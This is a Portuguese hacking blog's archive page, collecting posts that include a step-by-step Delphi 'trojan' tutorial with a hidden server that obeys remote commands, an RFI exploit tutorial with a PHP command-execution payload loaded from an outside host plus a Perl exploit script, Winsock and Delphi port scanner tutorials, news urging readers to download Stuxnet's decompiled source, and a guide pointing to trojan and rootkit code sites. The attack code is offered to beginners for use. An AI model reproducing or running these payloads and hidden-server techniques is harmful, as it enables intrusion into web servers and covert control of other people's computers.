Mostrando postagens com marcador programação. Mostrar todas as postagens
Mostrando postagens com marcador programação. Mostrar todas as postagens

terça-feira, 30 de agosto de 2011

Source do Stuxnet esta disponível na Internet


No ano passado um dos vírus que mais chamou a atenção de profissionais de segurança e até mesmo de vários governos foi o Stuxnet, um vírus extremamente sofisticado, desenvolvido para a Ciberguerra, que atacou as usinas nucleares do Irã. Foi com a descoberta desse malware, que o tema Ciberguerra ganhou mais ênfase nas mídias e nos governos de vários países.
O Stuxnet é um malware projetado para alterar a programação dos PLCs (Programmable Logic Controllers) que são dispositivos computadorizados, que automatizam tarefas industriais como taxa de fluxo regular para manter a pressão e controles de temperatura.
Ainda no ano passado, nós postamos aqui no Mundo Dos Hackers, uma notícia falando sobre uma possível negociação que estava havendo em fóruns hacker, para a aquisição da source (código fonte) do Stuxnet, mais tarde houve vários boatos em que os Estados Unidos e Israel seriam possivelmente os criadores do stuxnet, o que acabou deixando um clima de desconfiança entre os governos do Irã, Israel e EUA.
Um ano depois, quando tudo parecia mais calmo e esquecido, surge uma surpresa para muitas pessoas ou pelo menos para mim, o código fonte do stuxnet esta disponível gratuitamente e publicamente na Internet para fins educacionais, ou seja, qualquer pessoa pode baixa-lo e estuda-lo da forma que quiser.
A source disponível é compilada usando o decompiler Hex-Rays e pode ser baixada através do MultiUpload.
Se você é profissional de segurança e programador C, você poderá aprender muitas coisas com o código fonte do stuxnet, por isso não deixe de estuda-lo. Se você é apenas um curioso, você pode baixa-lo, mas será preciso ter conhecimento em linguagem C para entender o malware.
Um vírus extremamente sofisticado e desconcertantemente perigoso disponível na Internet, o que você acha disso?
Links dessa matéria:
Não deixe de comentar ;) !!!

sábado, 18 de junho de 2011

Como montar um trojan em Delphi sem saber nada!

Bom galera, vou ensinar a cada como fazer um trojan, em Delphi, mesmo se você baixou o Delphi ontem você vai conseguir fazer esse trojan… É assim… Este é um trojan básico…

1º Passo -> Você tem o Delphi? Se não, será necessário baixá-lo.

2º Passo -> Abra o Delphi. Clique em Component, depois em vá em Install Packages…

Depois cliques em Add….

Em Filename coloque isso e depois clique em Open:

%programfiles%\Borland\Delphi7\Bin\dclsockets70.bpl

Ou o diretório do seu delphi + \Bin\dclsockets70.bpl. Isso serve para adicionar os componentes que serão necessarios para seu Trojan…

3º Passo -> Agora mãos a obra! Vá na paleta Standard e adicione 4 Buttons

Agora… insira um Edit que está na paleta Standard também

Depois insira um ClientSocket que está na paleta Internet.

Clique em um dos botões, e na parte esquerda, procure pela janela que o titulo é Object Inspector e depois procure por Caption.

E altere o conteudo da sua direita para Conectar, repita isso com os outros três botões, só que ao invés de colocar Conectar, coloque:
Desconectar, Abrir CD e Fechar CD.

Agora clique no Edit e vá na mesma janela anterior, só que dessa vez procure por Text. E remove o conteúdo da direita.

De uma arrumada na posição dos objetos a seu gosto… E lembresse, o Client Socket não vai aparecer… Eu arrumei assim:

4º Passo -> Agora que já fizemos a interface do Cliente, vamos codar! De dois cliques no botão Conectar. Abrirá uma nova janela, nela… escreva abaixo de begin isso:

ClientSocket1.Host := Edit1.Text;
ClientSocket1.Port := 1234;
ClientSocket1.Active := True;

Explicando… a primeira linha… vai definir o IP que você vai atacar, como o texto do edit que você inseriu, a segunda linha, vai definir como a porta a ser aberta, como 1234, e a terceira se conectará.

Agora vá a janela anterior… E de dois cliques no botão Desconectar, e coloque isso:

ClientSocket1.Active := False;
ClientSocket1.Close;

Explicando… a primeira linha… vai desconectar o Cliente do servidor, e a segunda… vai fechar o cliente.

Volte a janela anterior e dê dois cliques no botão Abrir CD, e coloque isso:

ClientSocket1.Socket.SendText('1');

Explicando… essa linha fará com que o Client Socket, envie o texto com o número 1 para o servidor, e lá, esse texto será reconhecido…

Volte novante a janela anterior, dê dois cliques no botão Fechar CD, e coloque isso:

ClientSocket1.Socket.SendText('2');

Explicando… ele faz a mesma coisa que o comando anterior, só que, ao invés de mandar um texto com o número 1 ele vai mandar um texto com o número 2.

Pronto cliente terminado,agora só falta o Server, então salve o programa clicando em File, depois em Save all e salve aonde você quiser.

Depois que salvar clique em Project depois Compile Project1

Depois clique em File, depois Close All

Clique em File, depois New, depois Application

Vá na paleta Internet e de dois cliques em ServerSocket

Agora de um clique nele, e vá na janela Object Inspector, e mude a Port para 1234

Agora, ainda na Object Inspector, mude o Active para True

Novamente em Object Inspector, clique em Events

Depois de dois cliques em OnClientRead

Na nova janela que apareceu, apague o begin e coloque isso:

var
Kingcaio : String;
begin
Kingcaio := Socket.ReceiveText;
if Kingcaio = '1' then
MciSendString('Set CdAudio Door Open',nil,0,Handle)
else if Kingcaio = '2' then
MciSendString('Set CdAudio Door Closed',nil,0,Handle);

Explicando… A 2ª linha vai definir a variante Kingcaio como uma string, a 4ª define a String Kingcaio como sendo igual a Socket.ReceiveText, que por sua vez significa ao texto recebido, a 5ª vai dizer tipo assim: “Se o texto recebido for igual a 1 faça isso, mas se não for siga em frente”, a 6ª é o comando para abrir o CD-ROM, a 7ª linha tem a mesma função que a 5ª linha, e por final a 8ª linha, é o comando para fechar o CD ROM.

——————————————————————————————————————————————————-

Agora… ainda nessa janela suba a barra de rolagem até achar alguma coisa assim:

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;

Logo após de ScktComp coloque MMSystem ficando igual a seguinte foto:

——————————————————————————————————————————————————-

Certo… clique em Project depois em View Source, aparecerá uma nova janela, procure por Application.Initialize;, escreva logo abaixo dessa linha isto:

Application.ShowMainForm := False;

Que servirá para que a pessoa não veja a janela…

——————————————————————————————————————————————————-

Agora clique em File e depois em Save All e salve em qualquer lugar…

——————————————————————————————————————————————————-

Logo em seguida clique em Project em seguida Compile Project1.

——————————————————————————————————————————————————-

Pronto! Acabou! Agora vamos testar para ver se deu certo! Dê dois cliques no executável do server, depois no executavel do cliente, no edit que você inseriu coloque isso:

127.0.0.1

Que é o endereço de LoopBack, ou seja, é a mesma coisa que se você digitasse seu próprio IP, e logo em seguida clique em Conectar, e teste os comandos… Deu certo? Acho que sim!

Espero que tenham gostado… Comentem!^^

Créditos: 100% By Lucas, From HazardSource.com – http://hazardsource.com/forum/

OBS.: Caso copie, deixe os créditos…

Desenvolvimento de Exploits para RFI – I

Desenvolvimento de exploits para RFI

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir arquivos.
Se essa função não for usada com cautela, um usuário mal-intencionado
poderá incluir scripts PHP e executar comandos arbitrários no sistema.

Exemplo de página vulnerável:

include($_GET['page']);

Irá incluir qualquer página/arquivo passada como page via GET

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif

Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:

system($_GET['cmd']);

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir

A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:

O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43

29/02/2008 22:43
29/02/2008 22:43 31 vuln.php

Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows)

Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/

Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt

Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.

Exemplos:
—————————————————————————-

system($_GET['cmd']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-

system($_GET['exec']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-

system($_GET['comando']);

http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
—————————————————————————-

Vamos construir o exploit

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
} ($site, $page, $script, $comando) = @ARGV;

Os parâmetros necessários são passados como 'argumentos'.
Se o total de argumentos passados para a execução do script for diferente de '4' então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:

system($_GET['cmd']);

então quando formos iniciar a requisição, colocaremos:

$argv_script = "&cmd=";

portanto, a página que devemos ‘visitar’ será

$pagina = $site.$page.$script.$argv_script.$comando;

Exemplo:

http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir

Com o módulo LWP::Simple, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.

$resposta = get($pagina);

e mostramos a saída do servidor web

print $resposta;

O corpo do exploit está concluído, o exploit é:

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = "&cmd=";
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;

seria o mesmo que

$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];

Melhorias estéticas podem ser feitas, como por exemplo o uso de .

#!/usr/bin/perl
use LWP::Simple; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq "")
{
goto site;
}
if($site =~ /http:\/\//)
{
print 'Nao coloque http:// !'."\n";
goto site;
}
pagina:
print "Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): ";
$page = ;
if($site eq "")
{
goto pagina;
}
script:
print "Script (Ex.: http://www.host-files.com/script.txt): ";
$script = ;
if($script eq "")
{
goto script;
}
if($script !~ /http:\/\//)
{
goto script;
}
print "Variavel para executar comandos (script)\n";
print 'Ex.: cmd = system($_GET[\'cmd\']): ';
$argv_script = ;
if(!$argv_script)
{
$argv_script = "cmd";
}
$argv_script = '&'.$argv_script.'=';
comando:
print "Comando: ";
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;

Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade.Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.

Tutorial de Winsocket em C (Parte I)

Ao longo de aproximadamente 7 matérias irei mostrar para vocês a funcionalidade de sockets no windows com a linguagem C. Será necessário um conhecimento considerável em C para o uso desta matéria. Usaremos o DEV C++, disponível no site do bloodshed, para compilar todos os exemplos aqui expostos.

Lembrando que ensinarei apenas o socket “puro”. Não passarei pela parte de Raw-Sockets nestas matérias.

Tudo que se comunica com algo fora do seu pc faz-se necessário o uso de um “tipo” de programação especial que se chama socket. Eu imagino que todas as linguagens de programação tenham programação em socket. C/C++, Delphi, PHP, Perl, Pascal, até Assembly tem programação em socket.

A partir do momento que você sabe sockets, você conseguirá facilmente fazer servidores/clientes, backdoors, portscanner, e quase tudo relacionado a internet. E é exatamente isso que ensinarei com essas matérias.

Um grande problema para quem quer entrar nesta área é achar uma documentação sobre isso na internet… Pois todos os grandes tutoriais são voltados para Unixes likes. O que é, na verdade, uma grande utopia. Pois se a intenção de um tutorial como esse é que todos conheçam e saibam fazer seus próprios programas, commo postam tutorias em Unixes já que a maioria dos usuários usam Windows? Por isso decidi postar um tutorial que abrirá muitas portas a vocês.

Na internet tudo tem sua família e seu respectivo protocolo. As família que você mais encontrará são:

AF_INET (Arpa Internet Protocols) – É a que agente mais vai usar, talvez a única.
AF_UNIX (Unix Internet Protocols)
AF_ISSO (Iso Protocols)
AF_NS (Xerox Network System Protocols)
E os protocolos são baseados no TCP (SOCK_STREAM) e UDP (SOCK_DGRAM) e podem ser estes:
0 – IP – Internet Protocol
1 – ICMP – Internet Control Message Protocol
2 – IGMP – Internet Group Multicast Protocol
3 – GGP – Gateway-Gateway Protocol
6 – TCP – Transmission Control Protocol
17 – UDP – User Datagram Protocol
Para se começar a programar em sockets no C é necessário declarar a biblioteca winsock.h. Vamos a um esboço agora de como começaria um programa:
#include
#include //Biblioteca para se programar em sockets

int main(){
int sock; //declaramos no socket como sendo uma variável inteira
structure sockaddr_in alvo; /*declaramos que o alvo é uma variável de structure sockaddr_in. Vamos ver isso mais a frente*/

WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData); /*estas duas linhas fazem o windows entender que é para iniciar a dll e ocx responsável por comunicação na internet. Todo o programa de socket deve conter essas linhas. Mais a frente vamos ver isso melhor*/

sock=socket(AF_INET, SOCK_STREAM, 0); /*declaração do socket que é da seguinte forma: socket(família, tipo do protocolo, número do protocolo);*/
alvo.sin_family=AF_INET; //Família que usaremos para conectar no alvo
alvo.sin_port=htons(80); //porta que conectaremos
alvo.sin_addr.s_addr=inet_addr(“10.100.23.2″); //meu ip na minha rede, mude para outro qualquer
memset(&(alvo.sin_zero), ‘/0′, 8); //zera a estrutura(sin_zero) e copia na memória(memset)
.
.
.
}

Bem, esse é o início do nosso primeiro programa. Vamos entender tudo por partes. A structure sockaddr_in tem a seguinte estrutura segundo o winsock.h:
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};

Então você deve declarar cada uma dessas coisas quando você declara algo do tipo struct sockaddr_in.

Outra coisa foi a seguinte linha:

WSAStartup(MAKEWORD(1, 1), &wsaData);

Nessa linha agente inicia as dll’s responsáveis por conexões a internet (winsock.dll se não me engano e algumas outras) e usamos a versão 1.1. Essa versão pode ser alterar para 2.0 e 2.2. Mas como a matérias serão feitas para todos os windows, usaremos a versão 1.1.

Outra linha importante foi a linha:

alvo.sin_port=htons(80);

Essa linha transforma o número 80 para um network short. Nos protocolos, as máquinha se comunicam através de números de rede, podem ser short ou long, depende do tipo. Tudo está descrito na biblioteca Winsock.h.

Connect( )

A função connect tem por objetivo conectar no alvo. Sua sintaxe segundo a biblioteca winsock.h é:

int PASCAL connect(SOCKET,const struct sockaddr*,int);
Isso significa: connect(socket_que_declaramos, (struct sockaddr *)&alvo (usa algumas coisas que especificamos lá em cima do alvo), e um valor inteiro que define o tamanho da struct do destino);

Quando o valor de connect retorna 0, significa que a conexão foi feita. Se retorna um número negativo, a conexão não foi feita.

Vamos a um pequeno exemplo agora?
#include
#include

int main(){
int sock, conecta;
struct sockaddr_in alvo;

WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData);

if ((sock=socket(AF_INET, SOCK_STREAM, 0))<0){
perror(“Erro em socket!”);
exit(1);
}

alvo.sin_family=AF_INET;
alvo.sin_port=htons(80);
alvo.sin_addr.s_addr=inet_addr(“200.221.2.45″); //Esse é o IP da UOL!
memset(&(alvo.sin_zero), ‘/0′, 8);

conecta=connect(sock, (struct sockaddr *)&destino, sizeof(struct sockaddr));

if (conecta<0) printf(“Porta fechada”);
else printf(“Porta aberta!”);

getch();

closesocket(sock); //Fecha o socket
WSACleanup(); //Limpa a estrutura WSA
return 0;
}
É possível que dê erro ao compilar. Para Isso você deve fazer o seguinte: Clique em Tools, Compiler Options, ative a checkbox que diz Add the following commands when calling compiler, e digite o seguinte comando “-l wsock32″ sem as aspas!.

Bem, este é um exemplo bem remoto de um pequeno portscanner, já que ele escaneia a porta 80. Deixo um pequeno desafio a vocês, faça um programa que escaneie das portas 10 a 8080.

Tutorial de Winsocket em C (Parte II)

Ao longo de aproximadamente 7 matérias irei mostrar para vocês a funcionalidade de sockets no windows com a linguagem C. Será necessário um conhecimento considerável em C para o uso desta matéria. Usaremos o DEV C++, disponível no site do bloodshed, para compilar todos os exemplos aqui expostos.

Início:
Bem, como vimos no tutorial passado, montamos um programa que vê se a porta 80 do IP da UOL está aberto. Hoje agente verá uma função que permitirá que digitemos o endereço e ele converterá para IP. A função gethostbyname(). Isso irá aumentar a funcionalidade do nosso scanner da matéria passada. Então proponho fazermos um pequeno programa que dirá o IP de um endereço qualquer. Após entendermos este exemplo, será fácil implementar isso no scanner.

gethostbyname()

Está função nos permite digitar um endereço e ele retornará o endereço IP. Ela está descrita da seguinte forma na biblioteca Winsock.h:

DECLARE_STDCALL_P(struct hostent *) gethostbyname(const char*);

Logo, para usarmos esta função, temos que entender da estrutura hostent (que é onde ela está inserida). Então vamos analizar a estrutura hostent de acordo com a biblioteca winsock.h.
struct hostent {
char *h_name;
char **h_aliases;
short h_addrtype;
short h_length;
char **h_addr_list;
#define h_addr h_addr_list[0]
};
Vamos lá então:
- h_name – Nome do domínio do host
- h_aliases – Lista de nomes alternativos que o site pode ter
- h_addrtype – O tipo de endereço que está retirando na conexão. Vimos que pode ser AF_INET, – AF_UNIX, AF_ISSO e AF_NS.
- h_lenght – Tamanho, em bytes, do endereço
- h_addr_list – Um array que termina em zero do endereço de rede do host.

Bem, vamos então montar um pequeno exemplo que agente digite o endereço do site e ele nos retorna o IP.
#include
#include
int main(int argc, char *argv[])
{

WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData);

struct hostent *ip; //definimos a variável IP como sendo da estrutua hostent

if(argc < 2) {
printf(“Usage: %s \n”,argv[0]);
printf(“Made by Mago__\n”);
exit(1);
}

if ((ip=gethostbyname(argv[1])) == NULL) { //aqui testamos se o host existe
perror(“gethostbyname”);
}

printf(“Hostname: %s \n”,ip->h_name); // Mostra o hostname
printf(“IP Address: %s \n”,inet_ntoa(*((struct in_addr *)ip->h_addr))); //Mostra o IP

WSACleanup();
}
Aqui estra uma coisa muito importante que deve ser explicada. Note que para mostrar o host nós tivemos que fazer o ip apontar para o h_name (que nos mostra o host) e para mostrar o ip tivemos que apontar para h_addr (que nos mostra o IP). Porém tivemos que usar a função inet_ntoa(), porque? Lembre-se que o endereço virá em números de redes, ilegíveis para nós. Então usamos a função inet_ntoa() que faz a conversão de Network-to-ASCII, ou seja, faz a conversão de números de Rede para ASCII (que é legível). Esta função está descrita da seguinte forma no Winsock.h:

DECLARE_STDCALL_P(char *) inet_ntoa(struct in_addr);

Logo, para usarmos o inet_ntoa() devemos tem um struct in_addr dentro.
Bem pessoal, com o que aprendemos hoje, podemos fazer um portscanner completo. Porém para incrementar mais, próxima matéria ensinarei sobre a função getservbyport(). Abraços a todos e até a próxima matéria.

Em que linguagem começar? Aqui está a resposta!

Índice

  • Delphi (Object Pascal);
  • Visual Basic;
  • C#/C++;

Delphi (Object Pascal)

Delphi, é uma das linguagens mais fáceis, de desenvolver programas…
Existem muitos Trojans e Keyloggers, que foram feitos nela… Um exemplo é o Turkojan.

Está é uma linguagem Visual, Orientada a Objetos (POG).

Aonde fazer o Download?

Borland Delphi 7 (Atualizado dia 17/08/07)

Parte 1 -> http://lix.in/4ddeae
http://rapidshare.com/files/14013555/Delphi7-Cky4k.part1.rar
Parte 2 -> http://lix.in/9541a3
http://rapidshare.com/files/14015291/Delphi7-Cky4k.part2.rar

Sites recomendados

  • HazardSource – Fórum que está começando, mas conta com muitos profissionais dispostos a ajudar!
  • Open SC – Site muito bom, todo bom programador, tem que conhecer esse site!
  • Planeta Delphi – Site com muitos códigos, exemplos, tutoriais e etc.
  • Trojan France – Download de códigos variados, desde binders, até códigos de RootKits!

Visual Basic

A versão 6 desta linguagem é destinada exclusivamente a criação de programas em 32bits, ou seja, para Windows 95 ou superior ou Windows NT.
Nela, foi programado, o Trojan C.I.A.

Aonde fazer o Download?

Microsoft Visual Basic 6.0
http://download.microsoft.com/download/f/0/3/f03c202d-1ce4-4267-9393-a8a4b400a982/Vs6sp6B.exe

Sites recomendados

  • Trojan France – Download de códigos variados, desde binders, até códigos de RootKits!
  • Open SC – Site muito bom, todo bom programador, tem que conhecer esse site!
  • Apostilando – Site com muitas apostilas de programação, e lógica de programação!

C#/C++

C++ Builder (ou abreviado por BCB) é um ambiente de desenvolvimento integrado (IDE) produzido pela Borland para a escrita de programas em na linguagem C++. Assemelha-se ao Delphi, sendo considerado sua versão em C++, de forma que muitos componentes desenvolvidos para Delphi pode ser utilizados no C++ Builder sem modificação, apesar do inverso não ser verdade. Nele, foi escrito o Trojan ProRat.

Sites recomendados

  • Trojan France – Download de códigos variados, desde binders, até códigos de RootKits!
  • Open SC – Site muito bom, todo bom programador, tem que conhecer esse site!
  • Apostilando – Site com muitas apostilas de programação, e lógica de programação!

Dez dicas para iniciantes em Programação

1º – Todo programador tem que saber lógica de programação, não existe programador sem lógica.

2º – Ninguém quer te ajudar, a não ser que a pessoa que você pediu ajuda ganhe algo com isso. As pessoas já tem problemas demais para ficar resolvendo os seus.

3º – Você sempre será um estudante. Sempre tem algo à aprender.

4º – Você não é pior que ninguém, e ninguém é melhor que você. Todos nos somos inteligentes, ninguém é “burro”. Apenas algumas pessoas são mais estudadas que você.

5º – Você não tem que gostar de ler, mais também não pode odiar. Você pode não gostar de ler um livro com tema amoroso, ou dramático, mas um livro sobre programação ( Que é o que você estuda ) você tem que gostar. Se não gostar… porque está tentando aprender à programar?

6º – Qual é seu objetivo? Aprender à programar ou criar um keylogger? Ou um Trojan ? Ou um cheat para trapacear um jogo? Se quer mesmo aprender a programar dedique à aprender e não à seguir tutoriais com códigos prontos e copiar e colar sem saber o que faz.

7º – Se você acha que está muito difícil aprender a programar, calma, descanse depois volte aos estudos e leia novamente, tente entender. Se você acha que não consegue mesmo, tire isso da sua cabeça, em si já é uma barreira.

8º – Comece do começo, pra que vai tentar aprender uma coisa avançada se você não sabe nem o básico? Um bom exemplo para isso é a escola, pra que um professor vai ensinar figuras de linguagem aos alunos se eles não sabem nem ler? Tentar aprender pelo avançado de uma vez é perda de tempo.

9º – De início escolha uma linguagem mais simples. Antes de estudar linguagens de baixo e alto nível, eu recomendo você estudar HTML para você se familiarizar com códigos. Logo, recomendo Visual Basic, Pascal, Python, uma destas linguagens para início.

10º – Pesquise, Raciocine !! Use seu cérebro, não peça programas prontos onde você só se dá o trabalho de colocar seus créditos.

Abraços e sucesso nos estudos

Delphi | Port Scaner Super Simples

Port Scanner

Port Scanner é um programa capaz de varrer um sistema, remoto ou local, a procura de portas abertas. Estas portas por sua vez, quando abertas, podem estar disponibilizando alguns serviços para utilização remota e é fundamental para qualquer administrador de rede (segurança) ou “usuário malicioso” (cracker) saber quais portas estão sendo utilizadas pelo sistema, tanto para a proteção, pelo lado do administrador, quanto pela invasão, pelo lado do cracker.

Saber quais portas estão abertas no sistema e quais serviços estão ativos nestas portas é muito importante, pois é o passo principal para qualquer invasão de sistema. É sabendo qual serviço está ativo em uma porta que se pode começar a verificar se este serviço em questão é vulnerável a alguma técnica de exploração conhecida, como explorá-la, como ganhar acesso ao sistema, etc.

Como funciona?

Teoricamente o funcionamento de um Port Scanner é bem simples. Basicamente ele tenta se conectar com o servidor desejado em uma porta desejada. Se a conexão for estabelecida, o programa imprime uma mensagem para o usuário confirmando o estado da porta testada como “Aberta”. Caso a conexão não se estabeleça, a mensagem de “Porta Fechada” é enviada. Bem simples não? Pois é, porém, com a incrível capacidade intelectual dos Hackers, algumas outras formas de Port Scanner foram desenvolvidas a partir da dificuldade de detecção do scanner pelo lado dos Administradores de Redes. O método que desenvolveremos no nosso programa é o TCP Full Connect, ou seja, uma conexão TCP completa com o servidor em questão. Este método é o mais primitivo e também o mais fácil de ser detectado pelo administrador, porém como o nosso artigo não tem o intuito de formar Cracker de sistemas, este método é mais que o necessário para você se inteirar sobre como construir um Port Scanner no Delphi. Outras formas de Port Scanner são:

TCP SYN (Half Open): Este já é um método mais complexo de Port Scanner, pois não abre uma conexão TCP completa com a máquina alvo e se torna assim mais difícil de se identificar um scanning deste tipo. O que programas deste tipo fazem é enviar uma pacote SYN para a máquina alvo. Caso seja recebido um pacote SYN-ACK, significa que a porta está aberta. Porém, caso seja recebido um pacote RST, indica que a porta está fechada. Após este processo, o programa exibe para o usuário o estado da porta e prossegue em sua verificação.
TCP FIN: Este é o método mais apreciado pelos atacantes, pois é chamado de modo STEALTH, ou invisível, não sendo detectado pelos sistemas de defesa. Consiste em enviar um pacote FIN para a porta alvo. Caso o pacote recebido seja um RST, indica que a porta está fechada, mas caso o pacote FIN seja ignorado, significa que a porta está aberta.
UDP SCAN: Neste método são enviados pacotes UDP de 0 bytes para cada porta alvo. Caso seja recebida a mensagem “ICMP port unreachable”, indica que a porta está fechada. Caso contrário, o programa imprime a mensagem alegando a porta como em estado de aberta.

TCP Full Connect no Delphi

Criar um Port Scanner TCP Full Connect do Delphi é relativamente simples. O Delphi já vem com alguns componentes para a criação e utilização de sockets. Ele provê uma enorme gama de componentes para criação de Clientes FTP, Telnet, Finger, Web, POP, SMTP, servidores HTTP, etc.

Para a criação deste tipo de Port Scanner, o TCP Full, utilizaremos o componente chamado TTCPClient, que fica localizado na paleta Internet. É com este componente que será possível se conectar com um endereço especificado nas portas pré-definidas para a verificação de seus estados (aberta ou fechada).

No componente TTCPClient temos as seguintes propriedades que são as fundamentais para o entendimento do funcionamento do nosso port scanner. As propriedades de nosso interesse são:

  • RemoteHost = Esta propriedade define o endereço do servidor que se deseja conectar.
  • RemotePort = A porta que se deseja conectar. Esta porta poderá ser alterada diversas vezes durante a execução do Port Scanner, pois é justamente esta capacidade que torna o programa funcional.
  • Connect = Conecta o TTCPClient com o servidor definido na propriedade RemoteHost com a porta definida em RemotePort.
  • Disconnect = Desconecta o TTCPClient do servidor.

Com estas propriedades já podemos iniciar a construção do nosso programa.

Criando a Interface do Port Scanner

Inicie o Delphi e crie um novo projeto chamado psc.dpr (a unit você poderá salvar como unit_psc.pas). No formulário inicial que abrir, mude as seguintes propriedades do Form1 no ObjectInspector como seguem abaixo:

  • Caption = Port Scaner v1.0b
  • BorderStyle = bsToolWindow
  • WindowState = Normal

Após estas modificações o antigo Form1 ficará desta forma:

www.invasao.com.br

Post Scanner Fig.1 – form1 do Port Scanner

Agora, neste nosso formulário, adicionaremos os seguintes componentes que serão os responsáveis pela interação do Port Scanner com o usuário.

Quantidade Tipo
5 TLabel
1 TEdit
2 TSpinEdit
1 TMemo
1 TTCPClient
2 TButton

Após a adição destes componentes, altere as propriedades dos mesmos para as que seguem abaixo:

Componente Propriedade Conteúdo
Tlabel1 Caption Servidor
Tlabel2 Caption Porta Inicial
Tlabel3 Caption Porta Final
Tlabel4 Caption Verificando a porta:
Tlabel5 Caption 0
TspinEdit1 Name Inicio
TspinEdit2 Name Fim
Tmemo1 Name Listagem
Tbutton1 Caption Iniciar
Tbutton2 Caption Parar
Tedit1 Text endereco

Com estas modificações, arrume os componentes no formulário para que fiquem mais ou menos com esta Interface:

www.invasao.com.br
Port Scanner 2 – Fig.2 – Nova form1 do Port Scanner

Neste ponto, falta muito pouco para o nosso Port Scanner ficar pronto. Temos agora que programar o funcionamento do nosso programa para que ele seja funcional e corresponda às nossas expectativas.

Programando os componentes

Nesta parte da nossa criação iremos adicionar programação aos componentes utilizados no programa para que este realmente funcione. Iremos começar da seguinte maneira:

  • Vamos cria uma variável global que será a responsável por parar a execução da verificação no servidor remoto quando o usuário clicar no botão Parar.
  • No código fonte do programa vamos adicionar, na sessão correspondente as variáveis globais, a nossa variável Stop.

...
Var
Form1: TForm1;
Stop: integer; // a nossa variável entra aqui!

Implementation
...

Agora iremos inserir a programação no nosso botão correspondente ao início da varredura de portas no servidor remoto, o nosso botão Iniciar. Dê um duplo clique neste botão para inserirmos o código responsável pelo seu funcionamento.

O código responsável é o que segue abaixo:

Var i : integer;
Begin
Try

Listagem.clear;
Stop:= 0 ;
TCPClient1.remotehost:=edit1.text;
For I:= inicio.value to fim.value do
Begin
If Stop = 1 then break;

Label5.caption:=inttostr(i);
Application.ProcessMessages;
TCPCLiente1.remoteport:= inttostr(i);
TCPClient.Active:=true;

If TCPClient1.connect then
Listagem.lines.add('A Porta ['+ inttostr(i)+ '] está aberta.');
TCPClient1.disconnect;
End;


Except
On E:Exception do Begin
Listagem.lines.add('Erro: ' + E.Message);
End;
End;


Listagem.lines.add('Verificação Terminada.');

End;

Feita a adição do código responsável pelo funcionamento do nosso botão Iniciar, resta-nos agora adicionar o código relativo ao botão Parar, para que depois possamos analisar as linhas de código do nosso programa Port Scanner.

Para adicionar a programação ao nosso botão Parar, dê um duplo clique no mesmo e adicione o código abaixo:

Stop:=1;

Pronto! A codificação do nosso programa está terminada e ele já está pronto para ser executado. Mas, antes disto, vamos analisar a programação.

Entendendo o Código

Como podemos ver, foi bem simples a construção da interface do programa assim como a adição de seu código-fonte. Vamos agora entender as linhas de código adicionadas e as suas respectivas funções.

Na parte de programação referente ao nosso botão Iniciar temos inicialmente a linha:

Var i: Integer;

Esta linha corresponde à criação da variável i, que será a responsável por auxiliar no loop For para a contagem das portas a serem verificadas.

A seguir, na linha:

Listagem.clear;

Limpamos o nosso Tmemo1.

Na linha:

Stop:=0;

Iniciamos o valor desta variável para 0, pois desta forma o programa continuará a varredura através das portas selecionadas pelo usuário até que o loop For acabe ou que o usuário pressione o nosso botão Parar.

Em

TCPClient1.Remotehost:=Edit1.text;

Repassamos para a propriedade RemoteHost do nosso TTCPClient o conteúdo do componente Edit1.text, que será o servidor repassado pelo usuário.

Temos então o início do loop For baseado nas portas Inicial e Final escolhidas pelo usuário nos componentes TspinEdit.

For i:= inicio.value to fim.value do

A seguir, verifica-se se o botão Parar foi acionado, solicitando o cancelamento da verificação (loop).

If Stop=1 then break;

Agora, exibimos na Interface a porta que está sendo verificada no momento

Label5.caption:=inttostr(i);

